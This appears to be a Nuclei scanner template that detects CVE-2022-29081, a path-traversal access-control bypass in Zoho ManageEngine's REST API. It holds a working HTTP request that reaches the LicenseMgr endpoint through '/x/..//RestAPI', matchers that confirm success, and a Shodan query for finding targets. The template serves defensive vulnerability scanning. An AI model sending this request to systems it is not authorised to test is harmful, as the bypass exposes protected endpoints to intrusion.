id: CVE-2022-29081

info:
  name: Zoho ManageEngine - Access Control Bypass
  author: 0xanis
  severity: critical
  description: |
    Zoho ManageEngine Access Manager Plus before 4302, Password Manager Pro before 12007, and PAM360 before 5401 are vulnerable to access-control bypass on a few Rest API URLs (for SSOutAction. SSLAction. LicenseMgr. GetProductDetails. GetDashboard. FetchEvents. and Synchronize) via the ../RestAPI substring.
  impact: |
    Attackers can bypass access controls on REST API endpoints, potentially leading to unauthorized data access or manipulation.
  remediation: |
    Update to the latest versions of Access Manager Plus, Password Manager Pro, and PAM360 that address this issue.
  reference:
    - https://www.tenable.com/security/research/tra-2022-14
    - https://www.manageengine.com/privileged-session-management/advisory/cve-2022-29081.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29081
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-29081
    epss-score: 0.8803
    epss-percentile: 0.99497
    cwe-id: CWE-22
  metadata:
    shodan-query: http.title:"manageengine"
    verified: true
    max-request: 1
  tags: cve,cve2022,zoho,manageengine,auth-bypass,vkev

http:
  - raw:
      - |
        POST /x/..//RestAPI/LicenseMgr HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        operation=getLicenseDetails

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"BUILD_NO"'
          - '"LICENSE_TO"'
          - '"VERSION"'
          - '"PRODUCT_NAME"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e5f92e3e849c752d4c62b24e412920e448deada9862b1e006a2d4ce560988a7902201dbfdc979b5cc80aa5d07359448100fc578a23b3c4af0ba7b5b1085a7d80b8e7:922c64590222798bb761d5b6d8e72950